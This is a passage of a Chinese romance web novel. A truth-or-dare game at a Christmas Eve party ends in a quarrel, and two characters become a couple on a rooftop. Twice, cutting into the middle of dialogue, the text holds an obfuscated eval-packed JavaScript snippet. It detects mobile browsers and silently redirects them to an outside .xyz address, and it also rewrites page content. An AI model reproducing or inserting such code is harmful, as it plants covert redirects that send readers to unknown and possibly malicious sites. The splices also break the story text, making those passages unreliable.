新的一轮还是真心话,我们好像陷入了复制粘贴的循环中,凌静宜撑着刘小叶的肩膀站了起来。她站着,我们盘腿坐着,已经是俯视的姿态了。可她犹嫌不足——她需要的是一个高台,一个凌驾于众人的位置。只见她四周环视,走向餐桌。拖了一张椅子过来,放在毛毯外侧。然后蹬掉了脚上的棉拖鞋,撩着裙子爬上椅子,东晃一下西摇一下。 “你们太没劲儿了!!我们要分享的是秘密!秘密!!!”她站在椅子上弯下身子,冲我们大喊:“你们刚刚问的都是什么东西?高考考了多少分?梦想学府是什么?”她指着叶翔的方向,“尤其是你!问梦想学府是什么,你是要做圆梦大使吗?” 叶翔赶紧站起来,扶住她的胳膊,“你想知道什么我都告诉你,先下来好不好?”他转过头问我:“这酒多少度啊?完蛋了,她不是喝多了吧?” 我瞟了一眼原先放在她右侧的酒瓶,两瓶都差不多见了底——其中有多少是她喝的呢,这比鸡兔同笼还难计算。我更纳闷的一点是,我没看见她举杯倒酒,究竟是什么时候喝下了那么多?至于叶翔的问题,我非常想给他一个白眼:这酒是我带来的吗?你问我多少度?!还有她是不是喝多了,长眼睛的都能看出来她喝多了吧?!不然有生之年,我们能看见凌静宜这么不优雅的举止?! “还有你!”凌静宜拔高了声调,指着李离说:“高考考了多少分?谁想知道这种问题的答案啊?!铭盛的分数线自己上网查去。” 怎么判断凌静宜是不是喝多了呢?有一个标准:她不再矜持,不再像一块你怎么都走不近也永远都别想捂得热的冰山,她完完全全显露出不同于平时的自己——优雅,没有;端庄,没有;不屑,没有;冷眼旁观,没有;毒舌,Plus;音量,Plus;不讲理,Plus。如果有两个以上的特征出现,那就说明,这位人间富贵花小姐,彻彻底底喝多了。一句话总结:当凌静宜做出一切与矜持冷静相悖的行为时,她已经醉得透透的了。 这样的机会并不多见,但不足以让我搭上性命。刘小叶不怕死地举起了手机想拍照,我踉踉跄跄地扑过去拍掉她的手机——她就不怕凌静宜酒醒了之后枪杀了我们! 在座的各位以后回想起来,忍不住感慨这是多么不可思议的一个夜晚,我愿称它为“人生肆意需尽欢”和“原来只要脸皮厚,天下就没有看不到的奇观”。 凌静宜撑着叶翔的胳膊从椅子上下来,嘟嘟囔囔:“再这么下去,老娘不玩了!你们能不能问点劲爆的问题??平时都是吃素的吗?!” 李离突然站起来,跟喊口号似的,“能!必须能!”吓得我一哆嗦,万万没想到,许苑薇紧随其后,“肯定能!” 原来不止大boss是隐藏款,疯批也是隐藏款!! 自此之后,游戏出现转向,问的问题越来越火热,让人脸红心跳。 瓶子转到凌静宜和叶翔,她挑起眉毛问:“第一次什么时候”,叶翔云淡风轻地回答:“不会比你晚。” 这一对高手过招看得我们胆战心惊。 我们一轮又一轮转瓶子,选择大冒险的次数远多过真心话——我们大冒险的内容过于保守,而真心话的问题又过于露骨。寻求在不及与过度当中的那个平衡点是最难的,老祖宗果然没骗人! 我一直偷瞄凌静宜,生怕她再振臂一呼,让大冒险和真心话一样成为另一个道德洼地。她一脸平静,我心惊胆颤。 游戏还在继续,轮到李离转瓶子。瓶子由快渐缓,瓶口对准了陈梦晓。 陈梦晓毫不犹豫选了大冒险,李离嘴巴歪向右边笑了,我的心脏突然猛烈地跳了一下——每次她要捉弄人之前都是这个表情。果不其然,李离一本正经地要求陈梦晓挑个女生接吻! 陈梦晓瞪着眼睛不敢相信,就连玩得上头总在起哄的刘小叶都惊了,“我没听错吧?” 许苑薇不动声色地看向陈梦晓,眼神里满满的警惕。 凌静拍手笑着称赞,“干得漂亮”。 两个男生脸红了,像是在秋日暖阳下照射下逐渐成熟的苹果那样,从面颊延展到耳朵。 李离一脸看好戏的表情,她笑着吹了个口哨,“你要是不敢的话,也可以改真心话。”这招激将加围魏救赵用得可真漂亮——李离主修法律太可惜了,她应该去修国际公共关系专业。 我促狭地想:如果我是小陈哥,我就逮着李离亲,让她体验什么叫做回旋镖扎在自己身上。 陈梦晓把胸一挺,“我有什么不敢的。” 她的眼神依次从左至右扫过:李离兴奋到快要尖叫了,她用手抓住自己的毛衣领子,好像始作俑者不是她;周小西看不出在想什么,似乎她的灵魂游离漂浮在空中;刘小叶瞪大双眼,随后目光飘向欧祈,一脸期待;凌静宜向左向右来回打量别人,一点也不担心自己会被挑上;许苑薇推了推鼻梁上的眼镜,往凌静宜身边挪了挪,胳膊抱住自己的膝盖,努力降低存在感;姿态像受了惊吓的小猫,全身毛发直立,处于警戒状态。 陈梦晓深深地吸气再呼出,“我选周小西。” 话音刚落,她整个人往前一趴,长臂一伸,勾住了我的脖子。我一阵眩晕,接着一张放大的俊朗面庞直勾勾地杵在我眼前。我一定是吓傻了,只知道两手抓住她的胳膊,别说推开她,连轻微的抵抗示意都忘记了。 她的嘴唇轻轻从我的唇角擦过去的一瞬间,像有一阵电流从穿过,我感觉到自己颤抖了一下,感觉很奇妙:她的嘴唇凉凉的,软软的,带着薄荷的味道。我睁着眼睛,在她漆黑明亮的眼睛里看见自己的倒影。 时间像是静止了,似乎只有几秒,又似乎有几个小时,然后咔哒一声重新开始行走。 只是短短的一瞬,但我感觉肺里的空气被抽空了,需要张大嘴巴大口大口地呼吸,心脏如同擂鼓,紧迫和窒息感一同袭来。我的脸颊和耳朵都在发烫,周围的空气都是热的。耳朵里嗡嗡的,似乎处在闹市之中,所有人七嘴八舌同时说话,听不清。 我没期待过初吻,更不会想到我的初吻是在这个场景下,还是跟女孩子,尽管她是我的“绯闻男友”。虽然……但是……我是谁?我在哪儿?谁能告诉我发生了什么? 陈梦晓也很紧张,她快速退开了,两只耳朵红彤彤的。她把头扭过去,脸上一副不在乎的表情。她拿起放在地上的杯子,仰着头把满满一杯酒咕嘟咕嘟喝了下去,丝毫没注意到她拿的不是自己的杯子。 叶翔抿了抿嘴,看向凌静宜;欧祈张着嘴巴,他的表情很怪异:震惊,诧异,失望,惋惜;李离看向我,我不知道是不是因为头晕目眩看错了,她的眼神里除了有抱歉,遗憾之外,还有冷漠,嘲讽和幸灾乐祸;许苑薇一直捂着嘴巴,好像那个被亲吻的人是她。 刘小叶一副生无可恋的样子,“这一看就知道是两个从未接过吻的。” 凌静宜在旁边挑衅,“不然在场的情侣来做个示范?” 她没反应过来,欧祈的脸更红了。 刘小叶扭扭捏捏,她拍了凌静宜肩膀,“小宜宜,你好坏啊!” 我的脑子里仍然一片空白,只有一个念头:刘小叶可真出息了,居然敢拍凌静宜的肩! 下一轮转瓶子的是陈梦晓,瓶子口对着的是刘小叶。 刘小叶望向陈梦晓,犹豫了好几秒。“我选……” “快点选,十秒过了,小陈哥可就帮你选了。”凌静宜用食指叩击地板。 刘小叶的大眼睛睁大,脱口而出:“我选大冒险。” 陈梦晓慵懒地把胳膊往后一抻,脸上露出得逞了的笑容,“就刚刚凌静宜说的那个。” 什么时候冰山会变成活火山?答案是当酒精浓度达到一定量。 凌静宜快乐地向陈梦晓伸出手,“Give me a five!” 欧祈的脸色不好看,刘小叶嗫喏着:“能不能换一个啊?” 凌静宜翻了个白眼,“刚刚小陈哥和周小西都没要求换!还是你提议玩真心话和大冒险的,好意思吗?” “要是小叶不愿意就算了吧。”许苑薇战战兢兢地提议。她活脱脱像一只连续受到惊吓的小兔子,还没从上一轮的冲击中缓过神,又遭遇了买一赠一的大彩蛋。可她并不想要这样的彩蛋啊!! 凌静宜完全不理会,“刘小叶不亲,你替她亲啊?”吓得许苑薇赶紧把手放回了嘴巴上。 李离最先开始起哄,从小声到大声,“亲他,亲他!”陈梦晓敲着地板带入了节奏,接着是凌静宜和叶翔。最后,我也头脑发昏开始起哄:“接吻,接吻,接吻!”,许苑薇捂住了眼睛。 “许许,你别装了。我看见你从指缝里偷看了!”陈梦晓拉开她遮挡眼睛的双手,戏谑地调侃。 欧祈的脸涨得通红,手足无措从毛毯上爬起来,没站稳一个踉跄差点摔在陈梦晓身上。他单手撑地往后跌倒,不知道是因为愤怒还是窘迫,他声音粗噶,“无聊,低俗!”。 刘小叶愣在原地,进也不是,退也不是。 陈梦晓刚准备伸出去扶他的手顿在半空中,她站起来,一言不发地向厨房走去。 叶翔有点生气,“你这么说就过分了!” 凌静宜则是彻底出离愤怒,她高声冲着欧祈一顿输出。 ——你不无聊不低俗,怎么还跟我们一起玩儿呢? ——怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997375|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?能听别人的真心话,看别人的大冒险,到自己身上就不行了? ——我们又没让你去亲女朋友之外的女生,怎么就低俗了?! ——全天下就你一个纯爱战士,我们都是满脑子黄色废料? ——玩不起就别玩儿,又要出来玩,又要装矜持,什么玩意儿! ——你们这些男的,自己脑子里装满了黄色废料,还站在什么道德制高点。能不能别做中国驰名双标?! 她骂得兴起,眼看酒要上升到全体男性了,叶翔赶紧从地板上爬起来,拍着胸脯说:“小静,我可不双标”,生怕城门失火,殃及池鱼。 “我们别玩游戏了,我重新去泡壶茶,我们坐着聊聊天。我还有几张刚从国外带回来的黑胶唱片,很小众,你……们肯定喜欢。” 他安抚完凌静宜,非常礼貌地对欧祈说:“不好意思,我想,你可能还是离开比较好。” “对不起,扫了你们的兴致。”欧祈语气很冰冷,“我先走了。” “怎么?骂完我们就要走了?”凌静宜不依不饶,对欧祈怒目而视。奇怪,她今天似乎对欧祈很不满,也不知道她满腔的火气从哪里来的。 刘小叶在旁边都快哭了,“小宜宜,你别骂他了。” 欧祈对着凌静宜反而一副沉静理智的姿态,“是我玩不起,那又怎么样?!” 刘小叶转过头,委屈巴巴地拽着欧祈的衣角,“欧祈,你别说了。” 他拍开她的手,三步并作两步走到沙发前,抓起自己的外套,向门外走去。 这时候,陈梦晓满脸酡红,眼神迷离地从厨房里走出来,似乎又狂饮了一番,“叶翔,你家的水味道有点奇怪,辣嗓子”。她抱着一支空酒瓶,爬上刚刚凌静宜站的那张椅子上,大声喊着:“谁都不许走!不亲亲今天谁都不许走!” 欧祈自顾自快步往外走,“不可理喻。”然后,他摔门出去了。刘小叶追在他后面跑了出去。 许苑薇在后面喊:“小叶,你没穿外套!”她赶紧跑向沙发,穿上自己的外套,拿起刘小叶的外套追了出去。 原本热热闹闹的客厅里倏忽间安静了。 凌静宜的脸像烧旺的炭火一样红,“他有病吧!别管他,我们继续喝酒。” 叶翔心里咯噔一下,已经喝成这样了,还要继续喝? “赶紧拿酒来。”凌静宜有些不耐烦。 叶翔去厨房泡了一壶乌龙茶,倒了一杯递到凌静宜手边,“别喝酒了,喝茶吧。” “喝什么茶,我要喝酒!” 大概是酒后劲儿上来了,凌静宜烦躁地拂开了凑到她面前的茶杯。 “我刚刚在厨房里看到酒架上有一支啸鹰。”陈梦晓还在凳子上摇摇晃晃地站着,她的眼睛亮晶晶的,冲着凌静宜眨了眨。 李离趴在我肩头,凑近了问:“啸鹰是什么?” “酒呀……不算便宜的……红酒。”我尽力捋直自己的舌头。 说实话,我也不知道啸鹰到底多贵,不过能出现在我爸珍藏里的酒,大抵不便宜。 叶翔想起来自己在冰箱里放了两瓶白葡萄酒。他猜想陈梦晓肯定错把白葡萄酒当水灌了。 他盯着她抱着的空酒瓶,一脸愁容,“真的要喝啊?” “你说,你是不是舍不得珍藏的红酒?”凌静宜对此很不满,“手机拿出来,我转钱给你。” 叶翔哭笑不得,“不就是两瓶酒,怎么就舍不得了。” 凌静宜一只胳膊搭在桌子上,头歪在一边,看上去意兴阑珊。她右手食指绕着自己的红酒杯打圈,“不喝酒也行,那我要上屋顶。” 陈梦晓不乐意了,“凌静宜,刚刚不是说要继续喝吗? 叶翔叹了口气,转身去了厨房。 过了一会儿,他攥着一只酒瓶出来了,我眯着眼看了下酒标,是Screaming Eagel。可颜色深得有些怪异,也许是我少见多怪吧。 陈梦晓一个跨步从椅子上跳下来,吓了我一跳。 叶翔给每个人都倒了一杯,自己端着杯子浅浅地喝了两口。 “这酒味道怎么这么像茶?!”凌静宜抿了一口,皱了眉头。 “你再喝两口试试。”叶翔没有反驳,反倒劝上了。 难得的好酒,我也动了心。刚喝进嘴里,我反应了过来:这分明就是乌龙茶!寡淡的酒味,大概是因为没倒干净,酒瓶底部残留了些许。 李离嘟囔:“你们这些有钱人的品味真奇怪,喝乌龙茶不比这省钱?” “嘘……这是秘密!”我悄悄跟李离说。 我们几个默默喝着“啸鹰”,天南地北地瞎聊着。乌龙茶版的啸鹰越喝越清醒,至少我的脑袋没有之前那么沉。只是,有一个念头不住地在我脑子里盘旋:叶翔究竟是舍不得那一瓶真啸鹰,还是怕凌静宜喝太多呢? 凌静宜把杯子里最后一口倒进喉咙,站起来说:“我想去露台吹吹风。” 叶翔跟着站了起来,“等等,我去给你拿外套。” “你家能看到街景吧?”凌静宜直直地望向窗外,眼神有些迷离。 “能。”他一边回应一边往楼上跑。 凌静宜靠在楼梯,撑着脑袋站了一会儿,然后,搭着扶手也上了楼。 李离看着我和陈梦晓,一脸震惊,“他们就把我们扔在这了?!” 我和陈梦晓倒挺淡然:温暖的房间,美味的食物,外面天寒地冻的,只有凌静宜有闲情逸致出去走。尤其眼下我们不胜酒力昏昏欲睡,屋子里暖暖的,更是催人发困,任由思绪四处飞散。 这是我第一次跟这么多人一起过平安夜。这个冬夜,看似只是千千万万个平凡到不值一提的夜晚中的一个,或许在别人的人生中司空见惯。可于我而言,它是独特的,每当想起来,我心头总有一种微妙的情感充溢内心,就像用一根羽毛轻轻撩拨内心最柔软的角落,痒痒的,让人不由自主笑出来。 40. 第 40 章 叶翔带着凌静宜去了别墅顶层。 顶层是个大露台,面对楼梯的一侧向外延伸,由黑色钢制栏杆围成弧形;旁边一侧放了一组纯白色的转角大沙发,沙发外缘靠在露台的入口处,占据了两面空间,环绕着将屋顶包拢在内。 清冷的夜空里有零星的几颗星星。他们并排倚靠着露台的栏杆,向外望去:泛着昏黄光晕的街灯一盏盏渐次向前递延,直达行人如织的思旻街。思旻街上除了著名的OMP大厦之外,还有一座巨大的钟楼。以前只有在新年时钟楼最热闹,聚集了很多人等着倒数跨年。随着W市越来越国际化,一些外国人来这里过平安夜。W市人爱热闹,尤其喜欢过节。越来越多本地人跟着庆祝圣诞节,在平安夜来钟楼倒数迎新。闹市愈加热闹,节日气氛浓重。 凌静宜入神地听着远处若隐若现的人声,望向好像伸手就能触碰的星空,在清冷的空气轻轻打了个喷嚏。 “冷吗?”叶翔有些懊悔,早知道带条毯子上来了。 “不……不冷。”凌静宜痴迷地望向远处。她的眼睛亮得如同夜空中的星星——她从来醉得快,酒醒得也快。 叶翔转头看着她的侧脸,“对不起。本来是想让你高兴的。” 凌静宜也转头看向叶翔,她轻轻笑了笑,“我没有不高兴。” 今天是漫长的一天,凌静宜觉得似乎发生了很多很多事。可仔细想想,不过两件而已。 在喧嚣与宁静的聚合中,在这片静谧的星空之下,在稀薄寒冷的空气里,她的内心有个角落在松动——这三年,她关注的是行动,是不断往前走,是只关心重要的能带来结果的事。可究竟什么是真正重要的,那些带来结果的事情能让她快乐吗,她没有,或者说,她不愿意去想。 她与叶翔对视着,轻轻晃动脑袋,一个不可思议的念头浮上心头:浩渺天地间,人类如此渺小,快乐遥不可及。今朝有酒今朝醉,她突然有亲吻眼前这个人的冲动。 从理智上来说,亲吻叶翔风险系数极高。这个男孩,可能会因为这个举动对她纠缠不休。 理智,在她的字典里占据了至高无上的位置。曾经,她让自己陷在那样不堪的境地里,骄傲不允许她再次踏入同一条河流。诡异的是,这个念头今天已经不止一次冒出来了,她费劲心思好不容易打消它,转眼看见他的头发、眼睛、嘴唇乃至喉结,努力分崩离析。凌静宜怀疑是今晚自己喝了太多酒,不然她为什么会觉得叶翔如此可爱? 酒精有时候是个好东西,它让你暂停不必要的思考,听从内心的召唤,释放出最本真的自我。 此刻,在酒精的催化下,感性占据了上风。凌静宜人决定给自己的理智放个假。即使是精密的机器,偶尔也需要放松一下。一贯以来,她觉得没有经过思考的行动就是蠢,眼下她觉得行动主导思想似乎也没那么坏,没有经过思考的行动还可以叫做激情引发的冲动,冲动与愚蠢相比,没那么不可接受。退一万步说,就算是犯蠢,在非原则性或者不会造成重大损失的事情上,偶尔犯个无伤大雅的蠢,也没什么大不了的。 她不喜欢等待,她曾经那么痛苦地等待过一个人。在很长的一段时间里,她觉得等待是一件没有意义的事情,离开的人不会因为另一个人等在原地就幡然醒悟;日子不会因为等待变得更好而只是将痛苦变得更长。那么,去生活、去追求、去旅行、去奋斗……做任何别的事情都比等在原地要好。她已经独自在黑暗里走了很久,执著地把自己关在一个看不见栏杆的牢笼里。拒绝,是陈东尔离开后占据她人生的主旋律。离群索居,高高在上,只有这样她才能欺骗自己当初不是他离开了她,而是她选择了独自一个人往前走。选择孤独,选择封闭,选择冰冷高傲的态度,选择拒人于千里之外。这样,就没有人能伤害她——人从来都不会被不在乎的东西伤害,只有在乎的才会成为软肋。 释然,放下,听上去很简单,可只有真正经历过的人才知道痛彻心扉是一种什么感受,他们有权利把自己的伤口藏起来,在没有人的深夜舔舐,等待伤口愈合,留下疤痕。她倔强地用冷漠来伪装释然,用封闭伪装放下。 直到今天,再次见到陈东尔时,她的内心很平静,似乎只是见到一个曾经的朋友。那些过往还是会出其不意地袭击她,可她心里清楚,不过是死去的回忆短暂还魂罢了。在此之前,她不相信,原来释然和放下这么简单。有些人,是真的深深喜欢过;在某一刻,也是真正地不在意了。她甚至想嘲笑自己前一段时间的忐忑不安和心绪波动。是什么改变了她? 叶翔仍在喋喋不休,“我给你拿个毯子吧?楼顶风大,会冷的,你穿太少了。” “你一定是疯了,”内心有个微小的声音在说话,凌静宜压制住那个声音,“别管我,疯了就疯了吧。我就是要疯一次。” 凌静宜踮起脚,轻轻地亲了一下叶翔的额头,带着调笑的口吻说:“没被起哄亲吻是不是很遗憾?” 叶翔像被施了魔法变成了石头,他定在了原地。过了半晌,他不可置信地摸自己的脑门,脑子里一片混乱,电闪雷鸣。 ——刚刚她亲了我? ——我不是在做梦吧? ——我一定是在做梦!这梦美好得不像真的。可真是美梦啊,能不能不要醒! 叶翔茫然环顾四周,这是自家的楼顶,这是熟悉的夜景,在眼前是他一直期待的那个人。他的心口一紧,好像不会呼吸了。眼前的人和景像笼上了一层薄纱,模模糊糊的看不清楚。他思忖自己到底喝了几杯酒,倒像是醉得狠了。狠狠地掐了大腿一下,疼得龇牙咧嘴。远远地听见思旻大道上鼎沸的人声,像是胶片里模糊的背景,更衬得此刻他的呼吸声深重绵长。 “你傻了?”凌静宜看着他失魂落魄的样子,忍不住调侃。 “啊?”叶翔还没缓过神来,“我好像在做梦。你不然再掐我一下。” 凌静宜抚上他的脸颊,凑近他,蜻蜓点水一样啄了一下他的嘴角。 叶翔眨了眨眼睛,摸了摸自己的嘴巴。脑子没反应过来,嘴角却抑制不住地上扬。巨大的喜悦,就像猛晃酒瓶后撬开瓶盖时喷涌而出的泡沫,他想要跳舞,想要欢呼,想要大声呐喊,最后,他只是绕着露台跑起来。肺里的空气越来越少,他面色潮红,额头出汗。他冲向她,加速。她仿佛终点的那条红绸,是他的荣耀所在。 他冲到她面前,一把揽她进怀里,高声呼喊宣泄自己的快乐,“我不是在做梦!你刚刚亲我了,对不对?!对不对?!” 凌静宜一把捂住他的嘴,嗔了一句:“你喊什么,怕她们听不见吗?” 他的脑海里烟花绽放一样轰鸣,丧失了思考能力。迷幻的眩晕感,急促的呼吸声,在寂静的空气里被无限放大。叶翔呼出的气息温暖潮湿,凌静宜突然有些不自在。 就在凌静宜抽回手的那一瞬间,叶翔轻轻地吻了一下她的手心。她猛然一颤,手心的温度一路向上,沿着胳膊向上蔓延,脸和耳朵发烫。她像触电一样缩回手,放在身后。随即瞪了他一眼。 叶翔笑了,心里颇有些自得——难得见到凌静宜手足无措的样子。可他只得意了片刻,突然被沮丧袭击——告白不是应该他主动吗?!在她宿舍楼下摆蜡烛看上去像告白,也许在别人看来甚至是宣誓主权。可那次不算!!!他心知肚明,那只不过是虚张声势而已。 恍然回过神,叶翔懊恼不已:叶翔啊叶翔,你怎么还能这么高兴?你还是不是个男子汉?!居然让女孩子告白! 唾弃自己之余,他绞尽脑汁想补救的法子,猛然想起他的车后备箱里还有烟花!一言不发朝楼下飞奔,快下到二楼又折返回来,在楼梯口探出半边身体,“小静,你等我一下。我有个惊喜要给你。” 凌静宜感觉好笑,“好呀。我在这等。” 她左手和右手十指交扣,走到沙发那里,深吸了一口气,坐在沙发的三分之二处。坐了几秒,叶翔在她的视野中小时。她整个瘫进了沙发里,头歪在沙发扶手上,用手捂住了胸口,心像要从嗓子里跳出来。 叶翔把剩下的烟花全搬了下来,把车开进车库停好。他把所有的烟花摆成一个心性,依次点燃,抬头对着顶楼高声喊:“凌静宜,我喜欢你!你愿意做我女朋友吗?” 凌静宜走到栏杆边,烟花在她眼前绽放,漫天的烟花像流星雨一样,照亮了别墅上空漆黑的夜幕。她笑得很灿烂,就像此刻的烟花。终于,她不再感觉孤单,有个人为了让她开心做了很多,因为她快乐而快乐。 远远的,听见很多人欢乐的笑声,大部分是女孩子的声音,“哇,烟花,好美呀!” 叶翔仰头看着凌静宜,不自觉跟着她笑起来,内心充盈涌动着满足,彷佛他这一生都在等待这个时刻——他第一次觉得付出原来是这么幸福,为了那一抹笑容,他愿意做更多让她开心的事情。 他一路小跑冲上顶楼,还有十几秒钟就到午夜十二点了,传来人们倒数的声音,“十,九,八,七,六……”思旻街的钟楼敲响零点的钟声,“Merry Christmas!”他们望着对方,微笑着向对方说。 叶翔伸进大衣口袋,掏出一个小盒子,有点羞涩地递给凌静宜,“不知道你会不会喜欢。” 凌静宜打开盒子,是一对水晶耳坠,款式简洁大方。心里闪过一丝惊喜,她傲娇地说:“可我没准备礼物。” “没关系。”叶翔很开心礼物没有被拒收,可内心仍然忐忑,他怕她不过是酒后乱性,一时兴起。 “你还没……回答我。”他小心翼翼地说。 “公平起见,送你三个月的试用期作为圣诞礼物吧。” 叶翔愣住了,半天没有声响,他感觉比刚刚还要晕——每一个字他都能听懂,可为什么连在一起,他却不懂是什么意思了呢?是他想的那个意思吗? 凌静宜抬头看着夜空的烟花,绚烂过后没有留下一丝痕迹,寥寥的几颗星辰在清冷的空气里独自闪耀——已经消失的,无论多想追回来,都已经不可能。人要往前走向前看,不能让过去羁绊。叶翔在身边时,她感觉安心。可她不愿意承认,认定那不过是自己寂寞太久了,变得脆弱。她讨厌让自己变得软弱的人和事,挣扎纠结,她不断拒绝,却不反感他接近。这一刻,她才明白,那并不是软弱,而是内心的柔软。 “你还有三秒钟考虑。”凌静宜头歪向右侧,脸颊红扑扑的,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997376|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男朋友试用期三个月,不回答的话就收回了。” 她望着叶翔因惊讶而发懵的眼睛,踏出轻盈而郑重的一步,轻轻掰开他紧握着的拳头,把自己的手放进他的手掌里。 叶翔终于反应了过来,他想要紧紧地抓住她,又怕抓得太紧弄疼她。最终他像手掌里停了一只小鸟,以万分怜爱的轻巧劲儿把她的手包在自己手心里,喃喃自语:“这是你说的,不许反悔。” 凌静宜笑了,“别高兴得太早,试用期不合格可是要清退的。” “那试用期如果表现好,是不是能提前转正?”叶翔小心翼翼地试探。 “试用期刚开始就想着转正,”凌静宜的眼睛弯成月牙,“小伙子的心思有点野呐。” “不想当将军的士兵不是好士兵,不想转正的实习男友不配叫男朋友。”叶翔的眉眼跟着弯了,“梦想还是要有的,一不小心可能就实现了呢。” “也对。那叶同学,请好好表现。” “争取早日转正。”叶翔拉过凌静宜另一只手,用双手把她的手拢在一起。 他像一个突然中了□□大奖的幸运儿,兴奋得不知所以。尽管刚刚凌静宜亲了他,可是,可是……他能回亲过去吗?光想一想,他就内心擂鼓,心跳加速,不可抑制地耳朵发烫。他偷偷瞄一眼她,深呼吸了两下,终于鼓起勇气问:“我能抱一下你吗?”这应该不算过分的要求吧?毕竟刚刚她都亲他了!! “刚刚不是抱过了,现在想起来问了!”凌静宜的脸隐隐又有些发烫,那个热烈又澎湃的拥抱,萦绕在鼻尖的荷尔蒙气息和他身上带着松柏的味道,都让她眩晕。 叶翔羞涩地挠头,因为那个吻,他实在是太兴奋了,情不自禁。凌静宜嗔了他一句,他像被扎破的皮球一样泄了气。刚刚太唐突了,她没有生气吧?! 凌静宜见他没了动静,无奈得向他张开了胳膊。叶翔的眼睛亮了,这一次,他轻轻地把她搂进怀里,小心翼翼,再一点点箍紧,想要把她揉进自己的身体里,又怕搂得太紧她会难受。拥她入怀的瞬间,仿佛漫天的烟花继续在他脑子里升腾,升到最高处,砰的一声绽放。 埋在叶翔的胸口,凌静宜很安心。可这丝毫不影响她的脑子飞速转动。尽管知道比较很煞风景,可她仍然忍不住回想和陈东尔的那些过去——拥抱、亲吻,当时应该伴随着脸红心跳,是幸福的具象,眼下已然丧失了魔力——她吐出一口气,专心沉浸于此刻。 恋爱脑从她的生命里永久退场了,这是上一段恋爱给予她最宝贵的财富。可这是一把双刃剑,她在感情中无法再全情投入,无意识的有所保留。以至于前一刻的眩晕显得那么不真实。凌静宜甚至怀疑,她今夜是不是醉得厉害。可她没法欺骗自己,她的确醉过,可眼下很清醒,酒精只是短暂地影响了她。更确切地说,她不过是借着酒劲,真正向前走。 哪一个瞬间触动了她,其实她也说不清楚。 也许是每次她陷入对陈东尔的情绪里,只要叶翔在,就能很快地把她拉出来;也许是碰到麻烦时,她不自觉的第一时间想起的人是他;也许是即使很生气,可他还是倒车回来,没有把她扔在人生地不熟的地方;也许是她太习惯于自己解决任何事情,但他总把她放在自己的羽翼之下,以一种近乎本能的姿态保护她…… 如果硬要说出一个所谓的“心动时刻”,确实存在细微的一刻,不经意撩动了她的心弦。 他上楼去帮她拿外套,她摇摇晃晃地跟着他去了二楼,歪着头从开着的门向里看——并没有衣帽架——叶翔拉开衣帽间的门走了进去,她的外套挂在最显眼的位置,紧挨着一件咖色的驼绒大衣。叶翔小心翼翼地拿下她的外套,脱下外面的防尘罩,左手托着,右手下意识拍了拍不存在的浮灰。接着,他取下自己的外套——歪歪斜斜地挂着,没有防尘罩,显然是随手挂上去的。 只是这么小的举动,可那一瞬间,她感受到了一股暖意——他知道她的洁癖,不认为她矫情,愿意尊重她的感受。哪怕在她看不见的地方,他依然把她放在自己的前面。凌静宜一直信奉的是“自己永远是第一位”,可在叶翔这里,在独立性之外,她似乎成了他的“第一位”。 她愣愣地站在那里,不断警告自己:不要把感动和爱情混为一谈。多久没有被人如此珍视了?贪恋一起,万事皆消。 他打开门,见她在门口,貌似随意的把外套递给她,“你怎么来了?” “客厅的暖气太热了。”她低着头撩了下头发,“再说,不是要上顶楼吗?” 她一动不动俯在他的怀抱里,一点都不觉得寒冷。她喜欢和他拥抱,感受他的体温,体会彼此的心跳交融。不知道过了多久,他们才分开。她微微抬起头,她的身高在姑娘中鹤立鸡群,可他比她整整高出一个头。 她踮起脚尖,张扬明媚的少年倒映在她琥珀色的双眸当中。从他渐渐炽热的目光中,她看到了渴望。 叶翔轻轻问:“可以吗?” 她不知道他们会不会有未来,可就像刘小叶说的,管他的,想得多的人不快乐。 两唇相接。 她只想抓住这一刻的快乐,此时此刻,它是真实的,这就够了。 41. 第 41 章 萧楠走出剧院,掏出手机发现有好几通来自叶翔的未接来电,他扬着手机对陆亦说:“肯定是凌小姐没理他,现在想起我来了,我理他才怪!让他重色轻友!” 陆亦歪着头在听留言,他把电话伸到萧楠耳边,按下重播键,一脸凝重回应他,“他给我留了言,你听听。我猜他也给你留了。” 萧楠听完留言,撒腿就跑,冲到主干道沿街拦出租车。陆亦在后面追他,“你等等我啊”! 散场出来的人潮涌动,路边有不少人在等车,萧楠后悔没开车。 好不容易有一辆空车,他伸手招停,两个姑娘从他侧面窜了过去,拉开车门跳上车。 “那是我先拦的。”他冲上去,出租车贴着他往前开了一小段。 一个姑娘拉下车窗,格格笑着说:“帅哥,要不要一起呀?” 萧楠恨不得追上去拉开车门把她们从车上拖下来,可那也太不绅士了,他只能讪讪地看着车尾,狠狠地踢一脚路旁的小石子,它滚到了马路中间,缓慢而不甘心地停在那里。年轻俊朗的脸庞上布满烦躁和不屑,接连几辆车上都有人,他只能跺跺脚继续挥手,期望更远一点的出租车能够穿过拥堵的路口,一路飞驰到他面前。 陆亦追了上来,他喘着气说:“你小子跑得真够快的!” 萧楠烦躁地挥着手继续拦车,“我不像你这么淡定,再晚一点,她们大概都散了。” 这时候,他才想起来给叶翔打电话。 接连打了四个电话都没人接,萧楠的情绪更加不好,他把手机塞回裤口袋,在原地不停地来回踱步,对来往的出租车不停挥手——没有车停下来,它们的车顶上明晃晃地亮着红色的“电召”。 “你干什么呢?” 萧楠回头看到陆亦低着头在戳手机,“那小子回消息了?” “没有。我在下载打车软件。” 旁边的音乐会也散场了,出租车的数量明显不能满足载客数。 